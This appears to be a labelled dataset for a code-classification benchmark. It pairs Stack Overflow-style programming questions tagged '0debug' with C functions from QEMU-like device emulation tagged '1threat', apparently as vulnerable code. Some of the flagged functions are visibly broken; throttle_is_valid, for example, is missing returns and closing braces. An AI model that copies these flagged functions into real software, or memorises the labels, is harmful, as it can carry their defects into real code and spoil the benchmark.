Got "is not a recognized Objective-C method" when bridging Swift to React-Native : <p>I'm trying to bridge my React-Native 0.33 code to a super simple Swift method, following <a href="https://facebook.github.io/react-native/docs/native-modules-ios.html">this guide</a> but all I'm getting is <code>show:(NSString *)name is not a recognized Objective-C method</code>.</p>
<p>Here's my code:</p>
<h3>SwitchManager.swift</h3>
<pre><code>import Foundation
@objc(SwitchManager)
class SwitchManager: NSObject {
@objc func show(name: String) -> Void {
NSLog("%@", name);
}
}
</code></pre>
<h3>SwitchManagerBridge.h</h3>
<pre><code>#import "RCTBridgeModule.h"
@interface RCT_EXTERN_MODULE(SwitchManager, NSObject)
RCT_EXTERN_METHOD(show:(NSString *)name)
@end
</code></pre>
<h3>SwitchManager-Bridging-Header.h</h3>
<pre><code>#import "RCTBridgeModule.h"
</code></pre>
<p>Then on my <code>index.ios.js</code> file I'm importing SwitchManager with <code>import { SwitchManager } from 'NativeModules';</code> and calling <code>SwitchManager.show('One');</code>. This is where the error happened.</p>
<p>Not sure what's wrong.</p>
| 0debug |
How to use function class from another class? (Python) : I have a file called **Program_01.py** within the file, I've created 2 class called **Estadisticas** and **LecturaArchivo**. How to call the **function suma()** and **desviacionEstandar()** in the class Estadisticas from LecturaArchivo class. I've got a compilation error:
**NameError: name "media" is not defined**
For example:
print('Promedio: {:.2f}'.format(media(linkedList)))
print('Desviación Estándar: {:.2f}'.format(desviacionEstandar(linkedList)))
# Clase Lectura Archivo
class LecturaArchivo:
nombreArchivo = input('Nombre del archivo: ')
archivo = open(nombreArchivo, "r")
lineas = archivo.read()
datos = [dato.strip() for dato in lineas.split(',')]
linkedList = ListaEnlazada()
for dato in datos:
linkedList.insertarFinal(float(dato))
print('Promedio: {:.2f}'.format(media(linkedList)))
print('Desviación Estándar: {:.2f}'.format(desviacionEstandar(linkedList)))
# Clase Estadisticas
class Estadisticas:
def suma(lista):
resultado = 0
for elemento in lista:
resultado += elemento.dato
return resultado
def media(lista):
return suma(lista) / lista.tamanio
def desviacionEstandar(lista):
resultado = 0
listaMedia = media(lista)
sqrtLista = ListaEnlazada()
for elemento in lista:
sqrtLista.append((elemento.dato - listaMedia) ** 2)
return math.sqrt(suma(sqrtLista) / (lista.tamanio - 1 ))
| 0debug |
Silencing OpenGL warnings on macOS Mojave : <p>My code is full of warnings like </p>
<blockquote>
<p>'glTranslatef' is deprecated: first deprecated in macOS 10.14 - OpenGL
API deprecated. (Define GL_SILENCE_DEPRECATION to silence these
warnings)</p>
</blockquote>
<p>I did <code>#define GL_SILENCE_DEPRECATION</code> but that didn't fix the issue.
I use <code>freeglut</code> that was installed by using <code>brew install freeglut</code></p>
<p>Can I silence it somehow?</p>
| 0debug |
Make Multiautocompletetextview scrollable above add button inside alertdialog and i want this type of custum alert dialog : Make Multiautocompletetextview scrollable above add button inside alertdialog and i want this type of custum alert dialog
[enter image description here][1]
[1]: https://i.stack.imgur.com/8FLOR.png | 0debug |
static void test_visitor_out_native_list_uint32(TestOutputVisitorData *data,
const void *unused)
{
test_native_list(data, unused, USER_DEF_NATIVE_LIST_UNION_KIND_U32);
}
| 1threat |
Derived classes not using all pure virtual methods from the base class : <p>I have a similar situation:</p>
<pre><code>class Question{
virtual double getPoints(double userAnswer) const = 0;
virtual double getPoints(const std::string & userAnswer) const = 0;
.
.
};
class QText : public Question{
double getPoints(const std::string & userAnswer) const;
.
.
};
class QNumeric : public Question{
double getPoints(double userAnswer) const;
.
.
};
</code></pre>
<p>And I need to be able to do something like this this:</p>
<pre><code>std::vector<Question*> quiz;
quiz.push_back(new QText(..));
quiz.push_back(new QNumeric(..));
quiz[0]->getPoints(..);
quiz[1]->getPoints(..);
</code></pre>
<p>I understand that if I don't implement a pure virtual function in a derived class, the class will be abstact and I won't be able to create an instance of that class. Is there a way to do what I want or should I just rethink the whole design?</p>
| 0debug |
how to count the total amount of selected boxes on html table : How can i count the amount of the selectedboxes from the table
<tbody>
<tr>
<td><center><form> <input type="checkbox" value="<?php echo $rws['amount']; ?>" /></center></td>
</tr>
</tbody> | 0debug |
Literal did not satisfy local datetime format using php value : I'm trying to insert the date/time value from mysql into a form with php. I've tried various ways to convert the value to the correct format from examples I've found on line (single vs double quotes, etc). But continue to get the error message with variations of this code. Note I left off the "<" symbols before input and ?php (code block didn't like them).
> input type="datetime-local" value="?php echo "$formatStartDate"; ?>" name="$reminder_start_datetime">
I've tried using the value directly from mysql and also formatting it like this:
>$formatStartDate = DateTime::createFromFormat('YYYY-MM-DDThh:mm', $reminder_start_datetime);
I'd appreciate any assistance in pointing me in the right direction. Thank you.
| 0debug |
how can i display first 3list data instead of displaying all data in ul li using Html and css only? : <ul>
<li>Karnataka</li>
<li>Assam</li>
<li>Gujarath</li>
<li>Westbengal</li>
<li>Karnataka</li>
<li>Assam</li>
<li>Gujarath</li>
<li>Westbengal</li>
<li>Karnataka</li>
<li>Assam</li>
<li>Gujarath</li>
<li>Westbengal</li>
</ul>
in this i have to display first three data. | 0debug |
Linking Credit card with google analytics billing account : I use google analytics map api for my project and for the this project I wanted to link my credit card to google analytics and I wanted to know if i will get charged when I link my credit card with google analytics and if so how much will i get charged? | 0debug |
bool throttle_is_valid(ThrottleConfig *cfg, Error **errp)
{
int i;
bool bps_flag, ops_flag;
bool bps_max_flag, ops_max_flag;
bps_flag = cfg->buckets[THROTTLE_BPS_TOTAL].avg &&
(cfg->buckets[THROTTLE_BPS_READ].avg ||
cfg->buckets[THROTTLE_BPS_WRITE].avg);
ops_flag = cfg->buckets[THROTTLE_OPS_TOTAL].avg &&
(cfg->buckets[THROTTLE_OPS_READ].avg ||
cfg->buckets[THROTTLE_OPS_WRITE].avg);
bps_max_flag = cfg->buckets[THROTTLE_BPS_TOTAL].max &&
(cfg->buckets[THROTTLE_BPS_READ].max ||
cfg->buckets[THROTTLE_BPS_WRITE].max);
ops_max_flag = cfg->buckets[THROTTLE_OPS_TOTAL].max &&
(cfg->buckets[THROTTLE_OPS_READ].max ||
cfg->buckets[THROTTLE_OPS_WRITE].max);
if (bps_flag || ops_flag || bps_max_flag || ops_max_flag) {
error_setg(errp, "bps/iops/max total values and read/write values"
" cannot be used at the same time");
if (cfg->op_size &&
!cfg->buckets[THROTTLE_OPS_TOTAL].avg &&
!cfg->buckets[THROTTLE_OPS_READ].avg &&
!cfg->buckets[THROTTLE_OPS_WRITE].avg) {
error_setg(errp, "iops size requires an iops value to be set");
for (i = 0; i < BUCKETS_COUNT; i++) {
LeakyBucket *bkt = &cfg->buckets[i];
if (bkt->avg > THROTTLE_VALUE_MAX || bkt->max > THROTTLE_VALUE_MAX) {
error_setg(errp, "bps/iops/max values must be within [0, %lld]",
THROTTLE_VALUE_MAX);
if (!bkt->burst_length) {
error_setg(errp, "the burst length cannot be 0");
if (bkt->burst_length > 1 && !bkt->max) {
error_setg(errp, "burst length set without burst rate");
if (bkt->max && !bkt->avg) {
error_setg(errp, "bps_max/iops_max require corresponding"
" bps/iops values");
if (bkt->max && bkt->max < bkt->avg) {
error_setg(errp, "bps_max/iops_max cannot be lower than bps/iops");
return true; | 1threat |
static void kvm_arm_gic_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
ARMGICCommonClass *agcc = ARM_GIC_COMMON_CLASS(klass);
KVMARMGICClass *kgc = KVM_ARM_GIC_CLASS(klass);
agcc->pre_save = kvm_arm_gic_get;
agcc->post_load = kvm_arm_gic_put;
kgc->parent_realize = dc->realize;
kgc->parent_reset = dc->reset;
dc->realize = kvm_arm_gic_realize;
dc->reset = kvm_arm_gic_reset;
dc->no_user = 1;
}
| 1threat |
void bdrv_reset_dirty(BlockDriverState *bs, int64_t cur_sector, int nr_sectors)
{
BdrvDirtyBitmap *bitmap;
QLIST_FOREACH(bitmap, &bs->dirty_bitmaps, list) {
hbitmap_reset(bitmap->bitmap, cur_sector, nr_sectors);
}
}
| 1threat |
How to check data type of variable .. PYTHON : check the type of input. Check the input data is float or int..
inData = input("Enter Data")
//type of inData will be String
if inData.isdigit():
print("Integer")
//this will check if the inData is integer
//This won't check for float type
//But I want to check if inData is float or not | 0debug |
Separating html and JavaScript in Flask : <p>Hey I've got the following problem:</p>
<p>I am building a little flask app, and usually i just stick with bootstrap and jinja templates to get what I want, but this time I needed a bit more customised version. In order to get a grip I started with a simple example of using custom js and flask to get the basic right. But lets go into detail:</p>
<p>Assume I have a simple flask web app called app.py located in my_app/ which looks like this</p>
<pre><code>from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run(port=8080, debug=True)
</code></pre>
<p>and the corresponding index.html, which is located in my_app/templates, is simply</p>
<pre><code><!DOCTYPE html>
<html>
<body>
<p>Clicking here will make me dissapear</p>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"> </script>
<script>
$(document).ready(function() {
$("p").click(function(event){
$(this).hide();
});
});
</script>
</body>
</html>
</code></pre>
<p>then I see the expected result, that is, i can click on the paragraph to make it disappear. </p>
<p>BUT: I would like to put the javascript part into a main.js file under static/js/. like so:</p>
<pre><code>$(document).ready(function() {
$("p").click(function(event){
$(this).hide();
});
});
</code></pre>
<p>and the index.html becomes:</p>
<pre><code><!DOCTYPE html>
<html>
<body>
<p>Clicking here will make me dissapear</p>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script>
<script src='/js/main.js'></script>
</body>
</html>
</code></pre>
<p>Unfortunately nothing will happen. I have tried other ways of referencing the script file as well but until now nothing works. I have the impression im missing something really simple. Thanks in advance!</p>
| 0debug |
static sd_rsp_type_t sd_normal_command(SDState *sd,
SDRequest req)
{
uint32_t rca = 0x0000;
uint64_t addr = (sd->ocr & (1 << 30)) ? (uint64_t) req.arg << 9 : req.arg;
sd->card_status &= ~APP_CMD;
if (sd_cmd_type[req.cmd] == sd_ac || sd_cmd_type[req.cmd] == sd_adtc)
rca = req.arg >> 16;
DPRINTF("CMD%d 0x%08x state %d\n", req.cmd, req.arg, sd->state);
switch (req.cmd) {
case 0:
switch (sd->state) {
case sd_inactive_state:
return sd->spi ? sd_r1 : sd_r0;
default:
sd->state = sd_idle_state;
sd_reset(sd, sd->bdrv);
return sd->spi ? sd_r1 : sd_r0;
}
break;
case 1:
if (!sd->spi)
goto bad_cmd;
sd->state = sd_transfer_state;
return sd_r1;
case 2:
if (sd->spi)
goto bad_cmd;
switch (sd->state) {
case sd_ready_state:
sd->state = sd_identification_state;
return sd_r2_i;
default:
break;
}
break;
case 3:
if (sd->spi)
goto bad_cmd;
switch (sd->state) {
case sd_identification_state:
case sd_standby_state:
sd->state = sd_standby_state;
sd_set_rca(sd);
return sd_r6;
default:
break;
}
break;
case 4:
if (sd->spi)
goto bad_cmd;
switch (sd->state) {
case sd_standby_state:
break;
default:
break;
}
break;
case 5:
return sd_illegal;
case 6:
if (sd->spi)
goto bad_cmd;
switch (sd->mode) {
case sd_data_transfer_mode:
sd_function_switch(sd, req.arg);
sd->state = sd_sendingdata_state;
sd->data_start = 0;
sd->data_offset = 0;
return sd_r1;
default:
break;
}
break;
case 7:
if (sd->spi)
goto bad_cmd;
switch (sd->state) {
case sd_standby_state:
if (sd->rca != rca)
return sd_r0;
sd->state = sd_transfer_state;
return sd_r1b;
case sd_transfer_state:
case sd_sendingdata_state:
if (sd->rca == rca)
break;
sd->state = sd_standby_state;
return sd_r1b;
case sd_disconnect_state:
if (sd->rca != rca)
return sd_r0;
sd->state = sd_programming_state;
return sd_r1b;
case sd_programming_state:
if (sd->rca == rca)
break;
sd->state = sd_disconnect_state;
return sd_r1b;
default:
break;
}
break;
case 8:
switch (sd->state) {
case sd_idle_state:
sd->vhs = 0;
if (!(req.arg >> 8) || (req.arg >> ffs(req.arg & ~0xff)))
return sd->spi ? sd_r7 : sd_r0;
sd->vhs = req.arg;
return sd_r7;
default:
break;
}
break;
case 9:
switch (sd->state) {
case sd_standby_state:
if (sd->rca != rca)
return sd_r0;
return sd_r2_s;
case sd_transfer_state:
if (!sd->spi)
break;
sd->state = sd_sendingdata_state;
memcpy(sd->data, sd->csd, 16);
sd->data_start = addr;
sd->data_offset = 0;
return sd_r1;
default:
break;
}
break;
case 10:
switch (sd->state) {
case sd_standby_state:
if (sd->rca != rca)
return sd_r0;
return sd_r2_i;
case sd_transfer_state:
if (!sd->spi)
break;
sd->state = sd_sendingdata_state;
memcpy(sd->data, sd->cid, 16);
sd->data_start = addr;
sd->data_offset = 0;
return sd_r1;
default:
break;
}
break;
case 11:
if (sd->spi)
goto bad_cmd;
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_sendingdata_state;
sd->data_start = req.arg;
sd->data_offset = 0;
if (sd->data_start + sd->blk_len > sd->size)
sd->card_status |= ADDRESS_ERROR;
return sd_r0;
default:
break;
}
break;
case 12:
switch (sd->state) {
case sd_sendingdata_state:
sd->state = sd_transfer_state;
return sd_r1b;
case sd_receivingdata_state:
sd->state = sd_programming_state;
sd->state = sd_transfer_state;
return sd_r1b;
default:
break;
}
break;
case 13:
switch (sd->mode) {
case sd_data_transfer_mode:
if (sd->rca != rca)
return sd_r0;
return sd_r1;
default:
break;
}
break;
case 15:
if (sd->spi)
goto bad_cmd;
switch (sd->mode) {
case sd_data_transfer_mode:
if (sd->rca != rca)
return sd_r0;
sd->state = sd_inactive_state;
return sd_r0;
default:
break;
}
break;
case 16:
switch (sd->state) {
case sd_transfer_state:
if (req.arg > (1 << HWBLOCK_SHIFT))
sd->card_status |= BLOCK_LEN_ERROR;
else
sd->blk_len = req.arg;
return sd_r1;
default:
break;
}
break;
case 17:
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_sendingdata_state;
sd->data_start = addr;
sd->data_offset = 0;
if (sd->data_start + sd->blk_len > sd->size)
sd->card_status |= ADDRESS_ERROR;
return sd_r1;
default:
break;
}
break;
case 18:
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_sendingdata_state;
sd->data_start = addr;
sd->data_offset = 0;
if (sd->data_start + sd->blk_len > sd->size)
sd->card_status |= ADDRESS_ERROR;
return sd_r1;
default:
break;
}
break;
case 24:
if (sd->spi)
goto unimplemented_cmd;
switch (sd->state) {
case sd_transfer_state:
if (sd->spi)
break;
sd->state = sd_receivingdata_state;
sd->data_start = addr;
sd->data_offset = 0;
sd->blk_written = 0;
if (sd->data_start + sd->blk_len > sd->size)
sd->card_status |= ADDRESS_ERROR;
if (sd_wp_addr(sd, sd->data_start))
sd->card_status |= WP_VIOLATION;
if (sd->csd[14] & 0x30)
sd->card_status |= WP_VIOLATION;
return sd_r1;
default:
break;
}
break;
case 25:
if (sd->spi)
goto unimplemented_cmd;
switch (sd->state) {
case sd_transfer_state:
if (sd->spi)
break;
sd->state = sd_receivingdata_state;
sd->data_start = addr;
sd->data_offset = 0;
sd->blk_written = 0;
if (sd->data_start + sd->blk_len > sd->size)
sd->card_status |= ADDRESS_ERROR;
if (sd_wp_addr(sd, sd->data_start))
sd->card_status |= WP_VIOLATION;
if (sd->csd[14] & 0x30)
sd->card_status |= WP_VIOLATION;
return sd_r1;
default:
break;
}
break;
case 26:
if (sd->spi)
goto bad_cmd;
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_receivingdata_state;
sd->data_start = 0;
sd->data_offset = 0;
return sd_r1;
default:
break;
}
break;
case 27:
if (sd->spi)
goto unimplemented_cmd;
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_receivingdata_state;
sd->data_start = 0;
sd->data_offset = 0;
return sd_r1;
default:
break;
}
break;
case 28:
switch (sd->state) {
case sd_transfer_state:
if (addr >= sd->size) {
sd->card_status |= ADDRESS_ERROR;
return sd_r1b;
}
sd->state = sd_programming_state;
set_bit(sd_addr_to_wpnum(addr), sd->wp_groups);
sd->state = sd_transfer_state;
return sd_r1b;
default:
break;
}
break;
case 29:
switch (sd->state) {
case sd_transfer_state:
if (addr >= sd->size) {
sd->card_status |= ADDRESS_ERROR;
return sd_r1b;
}
sd->state = sd_programming_state;
clear_bit(sd_addr_to_wpnum(addr), sd->wp_groups);
sd->state = sd_transfer_state;
return sd_r1b;
default:
break;
}
break;
case 30:
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_sendingdata_state;
*(uint32_t *) sd->data = sd_wpbits(sd, req.arg);
sd->data_start = addr;
sd->data_offset = 0;
return sd_r1b;
default:
break;
}
break;
case 32:
switch (sd->state) {
case sd_transfer_state:
sd->erase_start = req.arg;
return sd_r1;
default:
break;
}
break;
case 33:
switch (sd->state) {
case sd_transfer_state:
sd->erase_end = req.arg;
return sd_r1;
default:
break;
}
break;
case 38:
switch (sd->state) {
case sd_transfer_state:
if (sd->csd[14] & 0x30) {
sd->card_status |= WP_VIOLATION;
return sd_r1b;
}
sd->state = sd_programming_state;
sd_erase(sd);
sd->state = sd_transfer_state;
return sd_r1b;
default:
break;
}
break;
case 42:
if (sd->spi)
goto unimplemented_cmd;
switch (sd->state) {
case sd_transfer_state:
sd->state = sd_receivingdata_state;
sd->data_start = 0;
sd->data_offset = 0;
return sd_r1;
default:
break;
}
break;
case 52:
case 53:
return sd_illegal;
case 55:
if (sd->rca != rca)
return sd_r0;
sd->expecting_acmd = true;
sd->card_status |= APP_CMD;
return sd_r1;
case 56:
fprintf(stderr, "SD: GEN_CMD 0x%08x\n", req.arg);
switch (sd->state) {
case sd_transfer_state:
sd->data_offset = 0;
if (req.arg & 1)
sd->state = sd_sendingdata_state;
else
sd->state = sd_receivingdata_state;
return sd_r1;
default:
break;
}
break;
default:
bad_cmd:
fprintf(stderr, "SD: Unknown CMD%i\n", req.cmd);
return sd_illegal;
unimplemented_cmd:
fprintf(stderr, "SD: CMD%i not implemented in SPI mode\n", req.cmd);
return sd_illegal;
}
fprintf(stderr, "SD: CMD%i in a wrong state\n", req.cmd);
return sd_illegal;
}
| 1threat |
How to use cubic spline interpolation to get a curve in java? : <p>I am working in image processing to get intermediate points using cubic spline interpolation as done <a href="http://in.mathworks.com/help/matlab/ref/spline.html" rel="nofollow noreferrer">here</a>. How can I achieve this in Java-language. Such as I have some main points :</p>
<ul>
<li>x = 24, 35, 67, 78,79.</li>
<li>y = 13, 45, 8, 45, 23.
I want to get intermediate points for x=1 to 100.</li>
</ul>
<p><a href="https://i.stack.imgur.com/FSYkB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FSYkB.png" alt="enter image description here"></a></p>
<p>Is there any library or function available in java. Please tell.</p>
| 0debug |
Different combinations of groups of words in a sentence : <p>I am trying to come up with an algorithm for determining all of the combinations of word groupings in a sentence (not breaking the order of the words). </p>
<p>e.g. With this sentence: "the test case phrase"
The different combinations (splitting on any number of space(s)) would be:</p>
<pre><code>['the test case phrase']
['the' , 'test case phrase']
['the test' , 'case phrase']
['the test case' , 'phrase']
['the' , 'test' , 'case phrase']
['the test' , 'case' , 'phrase']
['the' , 'test case', 'phrase']
['the' , 'test' , 'case' , 'phrase']
</code></pre>
<p>I was initially thinking permutations but from what I can tell that would be if I was seeking any re-ordered combination of the set.</p>
<p>I feel like there is a mathematical principal at work here but I just can't put my finger on it...</p>
<p>FYI: I was writing my test cases and plan to implement the solution in Javascript</p>
| 0debug |
void virtio_queue_notify_vq(VirtQueue *vq)
{
if (vq->vring.desc) {
VirtIODevice *vdev = vq->vdev;
trace_virtio_queue_notify(vdev, vq - vdev->vq, vq);
vq->handle_output(vdev, vq);
}
}
| 1threat |
JSON to CSV flattening nested JSON : <p>I am trying to Flatten JSON to parse as a CSV. But the flattening is not properly flattening. When I get the json to flatten customer.addresses is filling with addresstype:r then skipping all fields city,countrycode,countycode etc. and then starting at customer.companyName. The nested JSON is not breaking up properly to show properly in excel I think my JavaScript code must be off just a little bit. Any help with this would be greatly appreciated.</p>
<p><strong>JSON (this is a portion of the nested json it will not always be in the same depth is there a way to code for any type of nested json that will read at all levels)</strong></p>
<pre><code>[
{
"countyCode": 12,
"customer": {
"addresses": [
{
"addressType": "R",
"city": "BRADENTON",
"countryCode": "US",
"countyCode": 12,
"foreignPostalCode": null,
"state": "FL",
"streetAddress": "819 15th Ave Dr E",
"zipCode": 34211,
"zipPlus": null
},
{
"addressType": "M",
"city": "BRADENTON",
"countryCode": "US",
"countyCode": 12,
"foreignPostalCode": null,
"state": "FL",
"streetAddress": "PO BOX 124",
"zipCode": 34201,
"zipPlus": 0124
}
],
"companyName": null,
"customerNumber": 932874,
"customerStopFlag": false,
"customerType": "I",
"dateOfBirth": "1936-08-05T00:00:00",
"dlExpirationDate": "2022-08-05T00:00:00",
"dlRenewalEligibilityFlag": true,
"driverLicenseNumber": "B360722339284",
"emailAddress": null,
"feidNumber": null,
"firstName": "David",
"lastName": "Brierton",
"middleName": "Hugh",
"militaryExemptionFlag": null,
"nameSuffix": null,
"sex": "M"
</code></pre>
<p><strong>JS</strong></p>
<pre><code>function flatObjectToString(obj) {
var s = "";
Object.keys(obj).map(key => {
if (obj[key] === null) {
s += key + ":";
} else if (obj[key].toLocaleDateString) {
s += key + ": " + obj[key].toLocaleDateString() + "\n";
} else if (obj[key] instanceof Array) {
s += key + ":\n" + listToFlatString(obj[key]);
} else if (typeof obj[key] == "object") {
s += key + ":\n" + flatObjectToString(obj[key]);
} else {
s += key + ":" + obj[key];
}
s += "\n";
});
return s;
}
function listToFlatString(list) {
var s = "";
list.map(item => {
Object.keys(item).map(key => {
s += "";
if (item[key] instanceof Array) {
s += key + "\n" + listToFlatString(item[key]);
} else if (typeof item[key] == "object" && item[key] !== null) {
s += key + ": " + flatObjectToString(item[key]);
} else {
s += key + ": " + (item[key] === null ? "" : item[key].toLocaleDateString ? item[key].toLocaleDateString : item[key].toString());
}
s += "\n";
});
});
return s;
}
function flatten(object, addToList, prefix) {
Object.keys(object).map(key => {
if (object[key] === null) {
addToList[prefix + key] = "";
} else
if (object[key] instanceof Array) {
addToList[prefix + key] = listToFlatString(object[key]);
} else if (typeof object[key] == 'object' && !object[key].toLocaleDateString) {
flatten(object[key], addToList, prefix + key + '.');
} else {
addToList[prefix + key] = object[key];
}
});
return addToList;
}
</code></pre>
<p>Then I run it through the Javascript Utilities with this:</p>
<pre><code>// Run the JSON string through the flattening utilities above
var flatJSON = JSON.parse(evt.target.result).map(record => flatten(record, {}, ''));
var csv = Papa.unparse(flatJSON);
</code></pre>
| 0debug |
Q: MySQL only accept yyyy/mm/dd? : I am new into developer world, i hope you guys can guide me well. From what i know MySQL will only accept datatype date with format `YYYY/MM/DD`.
If i change `dateformat` into `DD/MM/YYYY` in my web application and click save, there will be an error occur and no data was record (500-Internal Server error).
So, how to make a user input `DD/MM/YYYY` and MySQL will accept the `DD/MM/YYYY` and the data will record
<cfquery name="testrecorddate" datasource="myData">
INSERT INTO DATE_DATE
VALUES
('#Form.RecordDate#')
<form action="" method="post">
<textarea name="RecordDate"> 13/03/2018 </textarea>
<input type="Submit" value="Save"><input type="Reset" value="Clear">
</form>
</cfquery>
I am using ColdFusion languange and still learning. Is there possible to dump MySQL by display only on coldfusion dateformat `DD/MM/YYYY` and MySQL can stored the data wihout an error happen. | 0debug |
static void lan9118_writew(void *opaque, target_phys_addr_t offset,
uint32_t val)
{
lan9118_state *s = (lan9118_state *)opaque;
offset &= 0xff;
if (s->write_word_prev_offset != (offset & ~0x3)) {
s->write_word_n = 0;
s->write_word_prev_offset = offset & ~0x3;
}
if (offset & 0x2) {
s->write_word_h = val;
} else {
s->write_word_l = val;
}
s->write_word_n++;
if (s->write_word_n == 2) {
s->write_word_n = 0;
lan9118_writel(s, offset & ~3, s->write_word_l +
(s->write_word_h << 16), 4);
}
}
| 1threat |
static VTDIOTLBEntry *vtd_lookup_iotlb(IntelIOMMUState *s, uint16_t source_id,
hwaddr addr)
{
uint64_t key;
key = (addr >> VTD_PAGE_SHIFT_4K) |
((uint64_t)(source_id) << VTD_IOTLB_SID_SHIFT);
return g_hash_table_lookup(s->iotlb, &key);
}
| 1threat |
Javascript: Using reduce() to find min and max values? : <p>I have this code for a class where I'm supposed to use the reduce() method to find the min and max values in an array. However, we are required to use only a single call to reduce. The return array should be of size 2, but I know that the reduce() method always returns an array of size 1. I'm able to obtain the minimum value using the code below, however I don't know how to obtain the max value in that same call. I assume that once I do obtain the max value that I just push it to the array after the reduce() method finishes. </p>
<pre><code>/**
* Takes an array of numbers and returns an array of size 2,
* where the first element is the smallest element in items,
* and the second element is the largest element in items.
*
* Must do this by using a single call to reduce.
*
* For example, minMax([4, 1, 2, 7, 6]) returns [1, 7]
*/
function minMax(items) {
var minMaxArray = items.reduce(
(accumulator, currentValue) => {
return (accumulator < currentValue ? accumulator : currentValue);
}
);
return minMaxArray;
}
</code></pre>
| 0debug |
Android Draw-able shape with arrow in the shape : [![][1]][1]
How i can make a draw-able file to have a view like this image ?
[1]: https://i.stack.imgur.com/NMTV3.png
| 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.